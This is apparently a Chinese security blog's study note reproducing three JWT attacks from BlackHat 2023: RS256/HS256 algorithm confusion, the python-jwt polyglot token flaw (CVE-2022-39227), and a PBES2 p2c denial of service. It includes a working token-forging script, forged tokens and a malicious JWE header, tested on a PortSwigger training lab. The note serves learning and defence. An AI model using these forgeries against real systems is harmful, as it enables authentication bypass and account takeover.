关于BlackHat2023上JWT三个新攻击方式的学习笔记
原创 Leiothrix 2024-05-29 00:05 上海
—最近看到去年的BlackHat针对JWT的三种新攻击方式的议题,便想着复现一下学习学习。
戳上面的蓝字关注我吧!

01 前言
—
最近看到去年的BlackHat针对JWT的三种新攻击方式的议题,介绍了三种关于JWT的新攻击方式,便想着复现一下学习学习。
02 名词解释
—
JWT(JSON Web Token):是一种用于身份认证和授权的开放标准,它通过在网络应用间传递被加密的JSON数据来安全地传输信息使得身份验证和授权变得更加简单和安全。 JWE(JSON Web Encryption):JWE是一种加密机制,就是JWT中的Payload部分是经过加密的。 JWS(JSON Web Signature):就是签名过的JWT。 JWK(JSON Web Key):JWK是一种用于表示公钥或私钥的数据结构。它允许以JSON格式交换密钥信息。JWK通常用于在JWE和JWS中指定用于加密或签名的密钥。 JWA(JSON Web Algorithms):JWA定义了一组可以用于JWE和JWS的加密算法。它包括了对称加密算法和非对称加密算法,如HMAC、RSA、ECDSA等。 JKU(JSON Web Key Set URL):内容是一个URL地址,返回一个JWK。
03 Three New Attacks
—
作者首先介绍了签名加密的混淆算法攻击,在RFC 7519里面允许JWT可以以签名(JWS)和加密(JWE)的形式进行验证,而通常验证的时候可以采用对称加密算法和非对称加密算法进行签名。

整个流程就跟对称加密的JWT一样,签发是通过私钥来进行加密,之后在验证Token的时候再用对应的公钥解密即可。
这种攻击方式是由于开发人员对加密算法的了解不够导致的,如使用常见的加密方式RS256等非对称来签名JWT数据的时候,就会存在安全风险。
作者用python的authlib库举了下面这个例子,案例中读取了jwk的
from authlib.jose import jwt, JsonWebKeyfrom time import timeimport jsonwith open('rsa-key.jwk','r') as keyfile:key = JsonWebKey.import_key(json.load(keyfile))header = {'alg': 'RS256'}payload = {'iss': 'secure-issuer','sub':'admin','exp': round(time()) + 3600}token = jwt.encode(header, payload, key).decode()print(token)
代码主要读取了rsa-key.jwk的密钥文件把Payload部分进行加密生成token,来模拟用户登录成功后服务器颁发的token。
生成jwk的网站我这里用的https://mkjwk.org

执行后得到如下token信息:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImFkbWluIn0.eyJpc3MiOiJzZWN1cmUtaXNzdWVyIiwic3ViIjoiYWRtaW4iLCJleHAiOjE3MDU4MzMyOTJ9.CysrhQk9dAYx36UPAIlzwTSBbhIaeTxbzVF6a5BbRTZoiJJ1VJLhP4qS_j-OAFFTsUt4pgOmVHl-INReaJfDyQQXcUmXgCqHKZGro5o5KIDzJRIU7dyKAI4kHZM4EIGoGr_938yxkZNNsqJwWzLaZkvko2jNKZ_pZdXx4klJJaSvpk82C8Q2Uxogb9gDAckE6aifaJhixhzs5qdSuBt9iTIGv4Z6T_isxxsr1DoiOMxurxpMHacxXO9mkdBBwcDhilU88WKkedFVFV5EOcvPxdFMZ2n282b7P3RItreZOd7VsfZyfOIE6vJgnUlHpZJTW7t3nJguky1usQqI-uQ6_g因为这里使用了RS256加密,同样可以用另一个脚本来验证这个token的完整性
from authlib.jose import jwt,JsonWebKeyimport sys, jsonwith open('rsa-key.jwk','r') as keyfile:key = JsonWebKey.import_key(json.load(keyfile))with open('token.file','r') as tokenfile:token = tokenfile.read().replace('\n', '')claims = jwt.decode(token, key)claims.validate()print(claims['sub'])
程序的大概逻辑是读取token.file文件中的内容并验证该token是否正确
作者提供了一种可以通过PKCS#1 v1.5的两个不同的Token签名来计算出RSA公钥的思路:https://github.com/SecuraBV/jws2pubkey
修改sample-jws文件夹目录下的两个txt文件,分别为不同的RSA类型的JWS签名,之后直接使用-f参数指定读取的文本内容
./jws2pubkey.py -f sample-jws/sample{1,2}.txt | tee pubkey.jwk
当然,计算出公钥肯定还是没办法直接利用的,因为JWS的签名是由私钥进行的,因此想要完成此次攻击就需要将公钥转换成PEM并重新给Payload签名伪造,同时更替RS算法为HS类型。
由于作者给出的计算脚本并没有将publicKey转换成PEM的部分,所以我这里又写了一个脚本专门将公钥转换成PEM并重新签名:
import jwtimport base64import binasciiimport hmacimport hashlibimport siximport jsonimport structfrom time import timefrom cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbersfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import serializationdef genPartialJWT(payload):encoded_jwt = jwt.encode(payload, '', algorithm='HS256')if isinstance(encoded_jwt, bytes):encoded_jwt_data = encoded_jwt.decode()else:encoded_jwt_data = encoded_jwtarray = encoded_jwt_data.split(".")partial_jwt = array[0] + "." + array[1]return partial_jwtdef sign_jwt(partial_jwt, hex_pub_key):key = bytes.fromhex(hex_pub_key)message = partial_jwt.encode('utf-8')signature = hmac.new(key, message, hashlib.sha256).hexdigest()return signaturedef buildJWT(sign, partial_jwt):b64_sign = (base64.urlsafe_b64encode(binascii.a2b_hex(sign))).decode('utf-8').replace('=','')new_jwt = partial_jwt + "." + b64_signreturn new_jwtdef intarr2long(arr):return int(''.join(["%02x" % byte for byte in arr]), 16)def base64_to_long(data):if isinstance(data, six.text_type):data = data.encode("ascii")# urlsafe_b64decode will happily convert b64encoded data_d = base64.urlsafe_b64decode(bytes(data) + b'==')return intarr2long(struct.unpack('%sB' % len(_d), _d))def jwk2base64pem(jwk):exponent = base64_to_long(jwk['e'])modulus = base64_to_long(jwk['n'])numbers = RSAPublicNumbers(exponent, modulus)public_key = numbers.public_key(backend=default_backend())pem = public_key.public_bytes(encoding=serialization.Encoding.PEM,format=serialization.PublicFormat.SubjectPublicKeyInfo)return pem#if __name__ == '__main__':def buildJwtToken(jwkJson):json_jwk_load = json.loads(jwkJson)#jwkJson = {"kty": "RSA", "n": "jvBtqsGCOmnYzwe_-HvgOqlKk6HPiLEzS6uCCcnVkFXrhnkPMZ-uQXTR0u-7ZklF0XC7-AMW8FQDOJS1T7IyJpCyeU4lS8RIf_Z8RX51gPGnQWkRvNw61RfiSuSA45LR5NrFTAAGoXUca_lZnbqnl0td-6hBDVeHYkkpAsSck1NPhlcsn-Pvc2Vleui_Iy1U2mzZCM1Vx6Dy7x9IeP_rTNtDhULDMFbB_JYs-Dg6Zd5Ounb3mP57tBGhLYN7zJkN1AAaBYkElsc4GUsGsUWKqgteQSXZorpf6HdSJsQMZBDd7xG8zDDJ28hGjJSgWBndRGSzQEYU09Xbtzk-8khPuw", "e": "AQAB"}pem = jwk2base64pem(json_jwk_load)payload = {"iss": "secure-issuer","sub": "admin","exp": round(time()) + 3600}partial_jwt = genPartialJWT(payload)hex_pub_key = pem.hex()sign = sign_jwt(partial_jwt,hex_pub_key)new_jwt = buildJWT(sign, partial_jwt)print(new_jwt)
入口函数就直接调用buildJwtToken,参数jwkJson就是作者的脚本跑出来的公钥内容。运行上述代码之后,会将公钥转换成PEM并hex编码交由hmac重新进行签名。
跑出来后得出token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJzZWN1cmUtaXNzdWVyIiwic3ViIjoiYWRtaW4iLCJleHAiOjE3MDU4NTQ4OTd9.T1QCz2h94iYwnPsZ2Twv60QPRd9kFZZdBz4ktHdJNAw我这里用burp官方给出的靶场进行测试:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature
注册账户登录之后进入到靶场页面

是一个博客的界面,可以通过wiener:peter的一个普通用户账号登录到系统

这里可以拿到系统对应的JWT,重复登录两次获取到不同的JWT Token
eyJraWQiOiIxN2NjY2EzMi0yNWI3LTRjNmItYWYyMi0zODRkODlhN2JjY2UiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTcwNjM2ODAwNX0.gXrabIF6iIiSLL6423T3oMK-XI-QluOgTl-eYa7ioFLOVLhmI7wCrNE9OPkLJ9nZFDXcXzWosl2qXrB3AvSTAtK2uF7J0FLE-TOej-Gk_yvjEbCYZ6hBhfnBV556urCW_oYwYCxZWya69CNKgQF7ggVFXY2K2imh5y1lZYWKi993ooA7jaHkn3SD-wa1oQp5ob7SCV3Q2Q9FebbjOPbwHFb2kVOsLjTXlq9bu_AZtoMpatulwQu_EQLCFIUj-Um9msWz_n-yTHvJ9mn00GaFx9E6WH2QfbzdjZwn-Pdm7MiwABV1v9r59rTRhlGwmLWFvYbLw2RFvl_R24xd3uyjXAeyJraWQiOiIxN2NjY2EzMi0yNWI3LTRjNmItYWYyMi0zODRkODlhN2JjY2UiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTcwNjM2ODEwN30.XBkAhu_u6rDnLc6an6MO52T6W6ZuyKtagGO6RnbZJgoCMyZRYUZOuuMZtY7CKBujiSROdAprHkzeBtRiqmcwNa56SPRk4h4E-m99oRqr_-1uBNksQdPYEofYeSZrGlO46B3QxyFL7ENWWIcs0Mt_TXvwc8Pk7mvSu1k_l4HqGLY_86IV1ugvvl4Ce-GhTpFPm4u230_369eQ7nE9o-GVdnIx6DYj3uPxNMeT_xF4IEoKni444sxP-YEw9s998wN1oWuVtiRgsWuEj_WckZWZeE7WKlw_eOQkNIFWL6ga2k_k7Je9R-v7DpVprxuCg2D9vy5YOQTxHDfn4pG8nCzAzg
解码之后看到目标采用的正是RS256算法

用前面的脚本计算公钥并转换成PEM再签名,记得还需将payload换成如下内容
payload = {"iss": "portswigger","sub": "administrator","exp": round(time()) + 3600}并把sample.txt中的token进行替换

替换完成后成功显示administrator的用户权限,完成攻击

这种攻击方式不同于其他的,这是一种库类解析时存在的代币攻击。
比如原先的Token为AAAA.BBBB.CCCC的形式
因此对应的JWS的格式就是
{"protected": "AAAA","payload": "BBBB","signature": "CCCC"}
但是在python-jwt中有个关键代码 jwt.split('.') 分割了字符串,导致使用如下JWS的时候会造成差异解析
{"AAAA":".XXXX.","protected": "AAAA","payload": "BBBB","signature": "CCCC"}
而这种攻击方式,也有对应的CVE编号CVE-2022-39227
这个具体的攻击操作由BenBenben师傅在打祥云杯初赛的时候有遇到的[7],先来看修复该漏洞的Commit关键验证代码
""" Test claim forgery vulnerability fix """from datetime import timedeltafrom json import loads, dumpsfrom test.common import generated_keysfrom test import python_jwt as jwtfrom pyvows import Vows, expectfrom jwcrypto.common import base64url_decode, base64url_encode@Vows.batchclass ForgedClaims(Vows.Context):""" Check we get an error when payload is forged using mix of compact and JSON formats """def topic(self):""" Generate token """payload = {'sub': 'alice'}return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))class PolyglotToken(Vows.Context):""" Make a forged token """def topic(self, topic):""" Use mix of JSON and compact format to insert forged claims including long expiration """[header, payload, signature] = topic.split('.')parsed_payload = loads(base64url_decode(payload))parsed_payload['sub'] = 'bob'parsed_payload['exp'] = 2000000000fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'class Verify(Vows.Context):""" Check the forged token fails to verify """@Vows.capture_errordef topic(self, topic):""" Verify the forged token """return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])def token_should_not_verify(self, r):""" Check the token doesn't verify due to mixed format being detected """expect(r).to_be_an_error()expect(str(r)).to_equal('invalid JWT format')
从上面的PolyglotToken函数中将JWT Token拆分为header、payload、signature三个部分。
由于BenBenben师傅已经在文中给出详细的分析这里就不再过多赘述了,大致就是token在解析的时候先通过了token.deserialize函数来反序列化JWT Token,并将其当作了JWS来解析

而按照JWS的格式解析的Token,payload和signature依旧是修改fake_payload之前的数据,因此可以正常验证反序列化。
但漏洞就出在验证完成之后又使用了split(".")分割出来的payload部分,导致前后JWT验证格式不一,从而致使漏洞产生。

在JWE的标准中还支持通过PBES2算法进行基于密码的加密,其中有一个非常重要的参数指标p2c,该参数确定必须执行多少次 PBKDF2 迭代才能派生 CEK 包装密钥,此参数的目的是故意减慢密钥派生函数的速度,以使密码暴力破解和字典攻击的成本更加昂贵。
如[11]、[12]中的介绍漏洞示例,在JWT的标头中设置了很高的p2c值。
{"alg":"PBES2-HS256+A128KW","enc":"A128CBC-HS256","kid":"test","p2c":2147483647,"p2s":"hswH6ge-9XSq2KpCblM76g"}
所以,完成此攻击需要满足下述三个条件:
JWT库类支持JWE封装好的PBES算法。
JWT库类的使用者没有为JWT验证的时候指定特定允许的算法。
JWT库类不使用单独的接口对密码进行计算,因此服务器需执行超过p2c指定次数的HASH散列计算,才能导出令牌中的密钥来确认该令牌是否有效。
04 Reference
—
[1].https://security.snyk.io/vuln/SNYK-PYTHON-PYTHONJWT-3029892
[2].https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9
[3].https://github.com/advisories/GHSA-5p8v-58qm-c7fp
[4].https://www.slashid.dev/blog/jwt-risks/
[5].https://bishopfox.com/blog/json-interoperability-vulnerabilities
[6].https://www.youtube.com/watch?v=mJ6BQ5eFkG4
[7].https://forum.butian.net/index.php/share/1990
[8].https://zhuanlan.zhihu.com/p/591537759
[9].https://zhuanlan.zhihu.com/p/629329256
[10].https://github.com/jpf/okta-jwks-to-pem/blob/master/jwks_to_pem.py

